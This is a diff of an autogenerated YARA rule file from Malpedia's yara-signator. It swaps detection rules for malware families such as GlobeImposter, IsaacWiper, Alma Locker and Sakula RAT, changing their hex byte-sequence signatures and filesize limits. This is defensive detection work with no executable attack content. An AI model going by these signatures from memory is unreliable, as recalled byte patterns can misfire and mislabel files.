-		logic_hash = "608bf851e6cd1f78be1de6e26308954d73fd642b69ffa80c802e22a056e6ef77"
+		logic_hash = "0637c290ac474507dfbf7c46615faaf644551a1824ee3d111eec4b7aaf27ae12"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134866,32 +141889,32 @@ rule MALPEDIA_Win_Globeimposter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1e810 8bca c1e908 23c7 23cf }
-		$sequence_1 = { 6a0c 5f eb0d 3d96000000 1bff }
-		$sequence_2 = { 8b4508 8b4e08 89442418 85ff 7452 }
-		$sequence_3 = { 0fd4cd 0f6e6f10 0fd4d5 0f7e4f08 0f73d120 0fd4cf 0f6e6f14 }
-		$sequence_4 = { 6a02 57 57 6800000040 8d85fcefffff }
-		$sequence_5 = { 0fd4cb 0f6e16 0ff4d0 0f6e6604 }
-		$sequence_6 = { 83c0fc 3918 7506 83e804 4f 75f6 }
-		$sequence_7 = { 83c104 f7db 75d7 5f 5b }
-		$sequence_8 = { 8bf0 8b06 8d7604 0119 3919 }
-		$sequence_9 = { 8bc7 f7f6 33d2 0fafc6 2bf8 }
+		$sequence_0 = { be00010000 56 e8???????? 56 8944244c }
+		$sequence_1 = { 8945e4 3d00010000 7d10 8a8c181d010000 8888c0e64000 40 }
+		$sequence_2 = { c1f802 6bc003 50 6a00 ff15???????? 50 }
+		$sequence_3 = { 85c0 7506 ff15???????? 8d45d4 50 57 ffd3 }
+		$sequence_4 = { 397c2428 7304 8d442414 68???????? 50 ffd6 85c0 }
+		$sequence_5 = { 50 ffd6 85c0 0f84cf020000 f68424a000000010 8d8424cc000000 }
+		$sequence_6 = { 7421 68???????? 8d442444 e8???????? }
+		$sequence_7 = { 8b3d???????? 8b1d???????? 33c9 8945e4 894de8 8b45e4 d3e8 }
+		$sequence_8 = { 8944244c e8???????? ff74244c 8b542440 89442454 e8???????? }
+		$sequence_9 = { c745eceb7f4000 894df8 8945fc 64a100000000 8945e8 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <142336
 }
-rule MALPEDIA_Win_Unidentified_037_Auto : FILE
+rule MALPEDIA_Win_Isaacwiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9e4cd69e-744d-5d0c-b193-3d15e535bfdb"
+		id = "1329030c-897c-5c01-8c07-662be913ab23"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_037_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isaacwiper_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "ab9d444ded76b509036904b157e446e552ae52ed50151a488fb9c47db68bb4eb"
+		logic_hash = "ed4c1277cdfb0687c916d7f4c8800e6899b857de5108f3daf478ca99ea587637"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134905,32 +141928,32 @@ rule MALPEDIA_Win_Unidentified_037_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 a3???????? 740c 8b4c2408 8b542404 51 52 }
-		$sequence_1 = { 33c0 33d2 33ff 8a0c1f 80f920 7405 80f930 }
-		$sequence_2 = { 7506 8b15???????? 8d8424b8040000 52 50 ff15???????? }
-		$sequence_3 = { 8a56ff 83e23f 41 4d 8a82d00c0110 8841ff 759c }
-		$sequence_4 = { 8b4d20 8b5500 8b4504 8bb424f0040000 51 52 50 }
-		$sequence_5 = { ff15???????? 84c0 742d 8b4608 8b5604 8d8dccfcffff }
-		$sequence_6 = { 8841ff 759c 5d eb04 8b742410 85ff 7667 }
-		$sequence_7 = { 743e 80f920 7439 80f930 7c0d 80f937 7f08 }
-		$sequence_8 = { 8b5c2408 8b4314 83f8ff 0f84b1000000 c1e005 8bd0 a1???????? }
-		$sequence_9 = { 5e 8b8c241c100000 64890d00000000 81c428100000 c3 83c1fe }
+		$sequence_0 = { 771b 52 51 e8???????? 83c408 5f c706???????? }
+		$sequence_1 = { b804000000 33d2 395138 0f45c2 0b410c 0bc3 50 }
+		$sequence_2 = { 8d0471 3bc8 7319 8d46ff }
+		$sequence_3 = { 5b 8be5 5d c3 6a34 e8???????? 8bf0 }
+		$sequence_4 = { 7576 eb56 8b0485d89e0210 6800080000 6a00 50 8945fc }
+		$sequence_5 = { 744a 83c118 57 8b7d14 894d08 0f1f4000 }
+		$sequence_6 = { 81ecc8090000 56 57 8bf1 c745f800000000 ff15???????? 898538f6ffff }
+		$sequence_7 = { 6685f6 743e 6a00 8bd6 8bcf e8???????? 8ad0 }
+		$sequence_8 = { 85db 0f8454010000 8bc6 83e001 03c8 d1ee }
+		$sequence_9 = { 8bf8 83e03f c1ff06 6bd038 8b34bde8670310 8a441628 }
 
 	condition:
-		7 of them and filesize <167936
+		7 of them and filesize <467968
 }
-rule MALPEDIA_Win_Urlzone_Auto : FILE
+rule MALPEDIA_Win_Alma_Locker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73713fa1-9237-58d2-8cc2-5acf9c265fc9"
+		id = "a8975e90-f59f-53dc-8c8c-bbe753edcfd3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.urlzone_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alma_locker_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "4cce61429410ef9f511dc19a60899f126670164d7c8bb8ef8edba2014cda32d1"
+		logic_hash = "df780972bf15a2baf7532cad09aa2dd13a5bee9ccc29d4fb62357c0162af8a26"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134944,32 +141967,32 @@ rule MALPEDIA_Win_Urlzone_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7c32 80f839 7f05 80e830 eb22 }
-		$sequence_1 = { 80fc39 7f05 80ec30 eb22 }
-		$sequence_2 = { 7f05 80ec30 eb22 80fc41 7c54 }
-		$sequence_3 = { 80c00a eb10 80f861 7c11 80f866 }
-		$sequence_4 = { 5f 5e c3 57 51 89c7 }
-		$sequence_5 = { 80c40a eb10 80fc61 7c42 80f866 7f3d }
-		$sequence_6 = { 7f0c 80e861 80c00a c0e004 08e0 }
-		$sequence_7 = { 80f841 7c23 80f846 7f08 }
-		$sequence_8 = { 80f839 7f05 80e830 eb22 80f841 7c23 }
-		$sequence_9 = { 80ec30 eb22 80fc41 7c54 }
+		$sequence_0 = { 8d8d6cfeffff e8???????? 83c404 8d4d8c c645fc07 51 8bd0 }
+		$sequence_1 = { 720e ffb5ccfeffff e8???????? 83c404 837da008 720b ff758c }
+		$sequence_2 = { 0304b5e86a0210 59 eb02 8bc3 8a4024 247f 3c01 }
+		$sequence_3 = { 50 ff15???????? 8bf0 89b52cfaffff }
+		$sequence_4 = { 83e11f c1f805 c1e106 8b0485e86a0210 f644080401 7405 }
+		$sequence_5 = { 8d8dd0fbffff e8???????? c645fc03 8d85d0fbffff 83bde4fbffff10 0f4385d0fbffff }
+		$sequence_6 = { b9???????? e8???????? 33c0 c645fc1f 33c9 66a3???????? 66390d???????? }
+		$sequence_7 = { 81fbfeffff7f 0f87ab000000 8b4614 3bc3 7325 ff7610 53 }
+		$sequence_8 = { b9???????? c705????????07000000 0f44f8 c705????????00000000 57 68???????? }
+		$sequence_9 = { 83c404 c78584fbffff0f000000 c78580fbffff00000000 c68570fbffff00 83bd9cfbffff10 720e }
 
 	condition:
-		7 of them and filesize <704512
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Mim221_Auto : FILE
+rule MALPEDIA_Win_Webc2_Table_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e2e82536-e29b-53d1-8c95-30ff68363ca9"
+		id = "398ecdfa-bd77-5001-b308-7e740d6a25e6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mim221_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_table_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "bd7d2b077259a6edc03c8b758f8bad3f5a42643cb60c61d80165934010c8f5e6"
+		logic_hash = "659cc34946aa5d8ea6957b273afd39f56e48147569d9730da4a86aafe181a1ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134983,32 +142006,32 @@ rule MALPEDIA_Win_Mim221_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 90 4883bc244001000008 720d 488b8c2428010000 e8???????? 4881c420020000 415e }
-		$sequence_1 = { c68424b400000061 4488a424b5000000 c68424b600000064 c68424b70000006c 4488ac24b8000000 c68424b900000046 c68424ba00000072 }
-		$sequence_2 = { 488b8c2400010000 e8???????? e9???????? 4889442420 4d8bcc 4c8b8424f8010000 488bd6 }
-		$sequence_3 = { 57 488bc4 4883ec58 48c7442420feffffff 498bd8 488bf9 }
-		$sequence_4 = { 668944243a 668944243c 668944243e 6689442440 488d542420 488bcf 66c74424420000 }
-		$sequence_5 = { 3d5a290000 7307 b801000000 eb0a 3d39380000 1bc0 83c003 }
-		$sequence_6 = { 66c7803effffff4c00 66b85300 6689842418010000 66c784241a0100004100 6644899c241c010000 66c784241e0100004900 66c78424200100007300 }
-		$sequence_7 = { 4157 4881ec88000000 33ff 498be8 488bf1 4c8bfa }
-		$sequence_8 = { 3d401f0000 7309 8d7b20 448d6b18 eb1b 3db8240000 730b }
-		$sequence_9 = { 488d8c24ca000000 e8???????? c684249003000044 c68424910300008b c684249203000001 c684249303000044 c684249403000039 }
+		$sequence_0 = { 8d85e4feffff 50 ff75fc ff15???????? 85c0 0f8461010000 }
+		$sequence_1 = { 83c410 881d???????? 8345fc04 ff4dec 0f8567feffff }
+		$sequence_2 = { 8dbda1fcffff 889da0fcffff f3ab 66ab aa 8d859cfbffff 6804010000 }
+		$sequence_3 = { 53 894dec ffd6 59 }
+		$sequence_4 = { 8b45f4 bf???????? 57 50 885c30f4 8b35???????? }
+		$sequence_5 = { 50 53 ff15???????? 85c0 750a ff15???????? 32c0 }
+		$sequence_6 = { ff75fc 8d85bcfdffff 50 e8???????? 59 }
+		$sequence_7 = { 50 8945e8 e8???????? 83c40c 895df8 8d45c4 }
+		$sequence_8 = { e8???????? 0fb745e0 50 0fb745de 50 }
+		$sequence_9 = { ff7508 6a01 50 ff15???????? 56 }
 
 	condition:
-		7 of them and filesize <471040
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Cohhoc_Auto : FILE
+rule MALPEDIA_Win_Devopt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b68a758f-10e4-5b26-9336-04dc8575909c"
+		id = "b2799a63-9237-56b1-b622-1d4cf3bf7ea8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cohhoc_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.devopt_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "ecae8715f2ad96196b29dfd6ae017f72fc211d8d4ab8ab2002ae190526566a13"
+		logic_hash = "f040e8bf75c02b10fb9ecd2b3e85bb747221bae38ed54254a620b66ea3085268"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135022,71 +142045,71 @@ rule MALPEDIA_Win_Cohhoc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 1bc0 83d8ff 85c0 0f84fb000000 bf???????? 8db424b4010000 8a0e }
-		$sequence_1 = { 5b 81c49c020000 c3 8b542410 }
-		$sequence_2 = { e8???????? 50 6801010000 8bcd e8???????? 8bcd }
-		$sequence_3 = { 33c0 5b 83c444 c3 8b542434 8b442458 6a00 }
-		$sequence_4 = { 817c240c03010000 0f8494010000 8b35???????? 8d442410 53 50 68???????? }
-		$sequence_5 = { 66c74424040010 8974242c 89742430 8b442448 8b4c2444 50 }
-		$sequence_6 = { bf01000000 6a00 68???????? ffd6 85ff }
-		$sequence_7 = { 88442424 894c2430 8b4c2424 57 51 8b4c2428 e8???????? }
-		$sequence_8 = { 6a07 51 6a00 aa }
-		$sequence_9 = { 8bc8 8d8424b4010000 83e103 f3a4 be???????? 8a10 8aca }
+		$sequence_0 = { eb42 8b45fc f7402810000000 7402 eb34 8b45fc 80b8a900000000 }
+		$sequence_1 = { eb11 3b5df0 7e02 eba3 8d7600 c745f0ffffffff 8b45f0 }
+		$sequence_2 = { eb0b 8b45fc 8b4034 8945d4 eb25 8b45d0 83e00f }
+		$sequence_3 = { ff9240040000 84c0 7502 eb0b 8b55f8 8b45fc e8???????? }
+		$sequence_4 = { e8???????? 8b45f4 ba???????? 8955e8 8945ec 8d55e8 31c0 }
+		$sequence_5 = { 8b4240 8b55f4 8b4a40 8b11 ff5268 8945f0 89d7 }
+		$sequence_6 = { ff93a8020000 8b45d4 8d40fc 50 8b45d0 8d48fc 8b45f8 }
+		$sequence_7 = { 8d6424e0 53 8945f4 8955fc 894df8 837dfc00 7e02 }
+		$sequence_8 = { ff75f0 ff75fc e8???????? 31d2 58 83c40c 648902 }
+		$sequence_9 = { eb1e 8b45f8 a9ffffffff 7402 eb12 8b45f4 e8???????? }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <4645888
 }
-rule MALPEDIA_Win_Sobig_Auto : FILE
+rule MALPEDIA_Win_Unidentified_082_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7eece2fa-1a04-5dd6-834d-8f7a893bf841"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sobig_auto.yar#L1-L128"
+		id = "7772581c-e8cf-5615-a758-46ef9c1fc0b0"
+		date = "2021-10-07"
+		modified = "2021-10-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_082_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "0a10ba676706f70e2749591376b958283b48eb8278fdd736f5378429d6ec57e3"
+		logic_hash = "fdfe1ddce9f77ac8b465b0ddebe868c5e77078cf2b2457573a5b3810682f45ee"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20211007"
+		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
+		malpedia_version = "20211008"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? ff35???????? 8d45dc 8bcf 6a00 50 }
-		$sequence_1 = { 53 50 ff75ec ff75d8 ff75dc ff15???????? 85c0 }
-		$sequence_2 = { 8a450f 33db 8d7e34 53 8bcf }
-		$sequence_3 = { 5f 5e c20400 53 56 ff742410 8bf1 }
-		$sequence_4 = { e8???????? dd4598 8b4de8 dd5db0 dd45a0 dd5db8 dd45a8 }
-		$sequence_5 = { 8d45b4 50 56 56 68???????? 56 56 }
-		$sequence_6 = { 8d4db0 e8???????? 8a45b0 83ec10 8bfc 8965e0 53 }
-		$sequence_7 = { 8b4d08 68???????? e8???????? 6a01 58 8945ec e9???????? }
-		$sequence_8 = { ff35???????? 8d45dc 8bcf 53 }
-		$sequence_9 = { ff7508 ff15???????? 85c0 7c43 ff7510 ff15???????? }
+		$sequence_0 = { 4c8d0dbc190200 0f1f4000 0f1f840000000000 418d4801 }
+		$sequence_1 = { ff5018 4c634510 488d0df40a0200 488bd8 33c0 }
+		$sequence_2 = { 4c634510 488d0d93fa0100 488bd8 33c0 488bd3 488905???????? 488905???????? }
+		$sequence_3 = { ff15???????? 488b0cdf ff15???????? 48c704dfffffffff }
+		$sequence_4 = { 4885c0 0f84ac010000 48833d????????00 0f849e010000 48833d????????00 0f8490010000 48833d????????00 }
+		$sequence_5 = { 488b0d???????? 8b5108 488b4910 4533c9 458d4130 4c89742420 }
+		$sequence_6 = { 33c0 e9???????? 8a07 4c8b7c2448 4c8d25a64c0100 4b8b0cfc ffc3 }
+		$sequence_7 = { 0f1f4000 0f1f840000000000 418d4801 0fb6c2 41ffc0 f7da }
+		$sequence_8 = { 488b4f18 4c8d4d10 488b01 488d1587000200 41b810000000 ff5018 4c634510 }
+		$sequence_9 = { 48894598 eb03 4533f6 488b05???????? 80782e00 740a 80782000 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <414720
 }
-rule MALPEDIA_Win_Krdownloader_Auto : FILE
+rule MALPEDIA_Win_Gearshift_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a82ae0a-fad8-52ec-9981-5ad40d1aeb9f"
+		id = "02540c00-8de2-5ac5-936a-14a6336e7666"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.krdownloader_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gearshift_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "4501a2b9e4a10b142f4eeab904974c078e1ef98420195596ba39d05922e3a30d"
+		logic_hash = "1c8a80ba14390df1b7bcd5e4b955652a287b76aebf22d78fc43b89631a984860"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135100,32 +142123,32 @@ rule MALPEDIA_Win_Krdownloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c645e161 c645e22e c645e370 c645e468 c645e570 c645e63f c645e76d }
-		$sequence_1 = { 8b4df4 8b09 e8???????? 8945f0 }
-		$sequence_2 = { 7528 8b45fc 0345f4 0fb6482c 51 68???????? }
-		$sequence_3 = { e8???????? 8945d8 8b4dfc 51 8b55f8 }
-		$sequence_4 = { 7418 8b4dec 0fbe11 0fbe45f3 3bd0 }
-		$sequence_5 = { 8955f0 8b45f0 8945f8 c745d800000080 817d1000000080 7310 }
-		$sequence_6 = { c745f001000000 eb28 837d0c00 7422 6a04 68???????? 8b4d0c }
-		$sequence_7 = { 89815c0d0300 8b55fc 8b82500d0300 50 ff15???????? }
-		$sequence_8 = { 735e 8b4dfc 8b5134 83ea01 3955f4 }
-		$sequence_9 = { 83c001 8945fc 817dfc6f020000 7d63 8b4dfc 8b55f8 }
+		$sequence_0 = { 4881c4c0000000 5f c3 85c0 0f85a9000000 }
+		$sequence_1 = { 4d8bde 4d2b5d30 0f84a1000000 488b4500 488b5d08 }
+		$sequence_2 = { 4883ec28 48833d????????00 740a b801000000 4883c428 c3 488d0dc9a80000 }
+		$sequence_3 = { 4823f1 66413b7806 0f83ce000000 48895c2448 4c89642450 4c8d25566a0300 4a8d5c003c }
+		$sequence_4 = { 83c8ff e9???????? 4c8bfb 4c8be3 488d05363c0300 49c1fc05 }
+		$sequence_5 = { 4885c0 0f8418010000 4c8d442470 41b910010000 488bd0 488bcb 48897c2420 }
+		$sequence_6 = { 488bd8 ff9688000000 4c8bc3 33d2 488bc8 8947f8 ff96a8000000 }
+		$sequence_7 = { 7522 48ffc1 498d0408 493bc3 7cec 4963c2 4803c6 }
+		$sequence_8 = { 4533c0 33d2 498bcc 44896c2428 48897c2420 ff15???????? ba01000000 }
+		$sequence_9 = { 0fb7d1 eb09 488b4508 488d540102 }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Redalpha_Auto : FILE
+rule MALPEDIA_Win_Sakula_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18d7b39f-1fe8-5b57-91e8-72bb40b0300f"
+		id = "877a5bc8-1502-5d2d-ac89-d1f9991b4673"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redalpha_auto.yar#L1-L286"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sakula_rat_auto.yar#L1-L234"
 		license_url = "N/A"
-		logic_hash = "062f534aa7bc989cb92a0f507bdc74bdcfcc089d3142c94dc9dd9b9510e4dbdc"
+		logic_hash = "5566117feff4531b6238852b1dd267d13dd172e7c51c8c4e9976cadb5e493558"
 		score = 75
 		quality = 73
 		tags = "FILE"
@@ -135139,53 +142162,45 @@ rule MALPEDIA_Win_Redalpha_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c40c c0e304 0fb6c3 50 }
-		$sequence_1 = { 8b3e 8bce e8???????? 8b4df8 }
-		$sequence_2 = { 4585c0 7417 0f1f4000 410fb602 4d8d5201 03c8 }
-		$sequence_3 = { 443bd3 7d0b 6645019489a40a0000 eb33 }
-		$sequence_4 = { 8b4004 c74408e840d24300 8b41e8 8b5004 }
-		$sequence_5 = { 8b3d???????? eb96 8b8b48010000 e8???????? 8bce e8???????? 8b7e04 }
-		$sequence_6 = { 8b3f ff750c 53 6aff }
-		$sequence_7 = { 8b3e 897df4 0fb607 0fb64f01 }
-		$sequence_8 = { 42803c0000 75f6 49ffc0 488d4f0d 488d542450 }
-		$sequence_9 = { e8???????? 488d043b 4d63c4 488d8dea020000 }
-		$sequence_10 = { 498d4505 894208 d3e5 ffcd 23dd }
-		$sequence_11 = { 488b4b10 488b5010 410fb60411 41880408 ff4328 ff4338 }
-		$sequence_12 = { 448d4858 e8???????? 85c0 7556 }
-		$sequence_13 = { 8b3e 8bcb d3e8 83e001 895d08 }
-		$sequence_14 = { 488d542458 4803d0 488bcb e8???????? }
-		$sequence_15 = { 8b3d???????? ffd7 ffb548f7ffff ffd7 }
-		$sequence_16 = { 50 e8???????? 83c418 c785f0fdffff00000000 8d85f0fdffff 50 6a0b }
-		$sequence_17 = { 0f8413050000 8b3c8d8c864000 85ff 755d 33c0 89859cf6ffff 89855cfcffff }
-		$sequence_18 = { c3 55 8bec 81ec04010000 56 68cf010040 6a00 }
-		$sequence_19 = { 8d7608 660fd60f 8d7f08 8b048d74e84000 }
-		$sequence_20 = { 50 8d45f4 64a300000000 683f000f00 }
-		$sequence_21 = { 897c2428 e8???????? 83c410 8d442424 50 }
-		$sequence_22 = { 50 e8???????? 6aff c645fc01 ff75dc }
-		$sequence_23 = { 8b5df4 8bf7 8b4b04 85c9 0f85f2000000 33c0 }
-		$sequence_24 = { 7605 e8???????? 8b4f14 8bf0 }
-		$sequence_25 = { e8???????? 83f801 7512 68d0070000 ff15???????? e8???????? eb39 }
-		$sequence_26 = { 7512 8b04bd30744100 807c302900 7504 }
-		$sequence_27 = { 8b8fbc000000 52 ff7730 8b01 ff5004 ff75ec }
-		$sequence_28 = { c1f806 83e13f 6bc930 53 56 8b048530744100 33db }
-		$sequence_29 = { 89b8bc000000 ff15???????? 894708 ff7518 8b4514 }
-		$sequence_30 = { 6bc830 894de0 8b049d581f4000 0fb6440828 83e001 7469 }
+		$sequence_0 = { 6a00 6800010000 6a00 6a00 68???????? }
+		$sequence_1 = { 8bf0 56 6a01 57 53 }
+		$sequence_2 = { 57 56 e8???????? 8d7e10 8ad8 57 8bc7 }
+		$sequence_3 = { 33c9 85f6 7e15 8a0411 84c0 7409 }
+		$sequence_4 = { 53 e8???????? 83c40c 6a00 6a00 57 53 }
+		$sequence_5 = { 8bc7 e8???????? 83c408 833e01 }
+		$sequence_6 = { 50 e8???????? 83c404 32c0 5d }
+		$sequence_7 = { 53 e8???????? 56 e8???????? 83c41c 5f 5b }
+		$sequence_8 = { 66895db0 48895c2450 4889442458 4889442460 }
+		$sequence_9 = { ff15???????? 33d2 488bcb ff15???????? e8???????? 33c9 ff15???????? }
+		$sequence_10 = { 8b45d8 8b5de0 01d8 8945e0 6a01 e8???????? }
+		$sequence_11 = { 4c8bc6 33d2 33c9 448bc8 897c2428 48895c2420 ff15???????? }
+		$sequence_12 = { 0f8516010000 488d15e61c0000 41b804010000 48890d???????? ff15???????? ff15???????? 83f801 }
+		$sequence_13 = { 7459 68???????? 68???????? e8???????? 83f800 }
+		$sequence_14 = { 8945e4 83f800 0f843c010000 6a00 6a00 ff75ec }
+		$sequence_15 = { e8???????? 50 ff75f4 e8???????? 58 eb02 31c0 }
+		$sequence_16 = { 8a03 3c00 7414 b21a }
+		$sequence_17 = { ff15???????? 33d2 488d4deb 448d426c }
+		$sequence_18 = { ff15???????? 488bce 488bd8 ff15???????? 488364243800 488364243000 }
+		$sequence_19 = { e9???????? 31c0 7402 31c0 50 ff75fc e8???????? }
+		$sequence_20 = { ff9080000000 3bc6 741b 488b4dc7 488b01 }
+		$sequence_21 = { 6804010000 ff75fc 6a00 e8???????? ff75fc }
+		$sequence_22 = { 33d2 ff15???????? 3bc6 745f 4c8d4dcf }
 
 	condition:
-		7 of them and filesize <606208
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Industrial_Spy_Auto : FILE
+rule MALPEDIA_Win_Adhubllka_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ce5f3e00-b3d5-5d7c-9715-f009f6dd4df1"
+		id = "e0dcc0bf-7466-5a17-86c8-1be553373dbc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industrial_spy_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adhubllka_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "0d309a929b9f93d00c001ba14e0da1de3852467890493f029087eefa2710c99c"
+		logic_hash = "f57dac34b065a20905904e9bce7c25f2f5dcbcedcfe53619de18c646a0c360a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -135199,32 +142214,32 @@ rule MALPEDIA_Win_Industrial_Spy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7d1 8d9778a46ad7 23cb 448d8356b7c7e8 418bc3 4123c2 0bc8 }
-		$sequence_1 = { 8bc3 448bcf 410f104f10 4c8d442430 }
-		$sequence_2 = { 48895c2450 48895c2448 4883e804 4889442440 4533c9 4c8d442444 8b542440 }
-		$sequence_3 = { 8b5540 448b4544 4585ed 740f 899380000000 44898384000000 }
-		$sequence_4 = { 4c89742420 498bd4 498bcd c644043000 8d4301 0f11440430 410f104720 }
-		$sequence_5 = { 4881ec100e0000 4533e4 803d????????1f 7472 448925???????? }
-		$sequence_6 = { 837c8dc000 7508 ffca 4883e901 }
-		$sequence_7 = { 0f118424e8010000 f20f108424e0010000 f20f118424f8010000 0f108c24b8010000 0f118c2400020000 f20f108424c8010000 f20f11842410020000 }
-		$sequence_8 = { 4c8d4d50 895c2420 4c8d85a0030000 488d542430 488d4c2430 e8???????? }
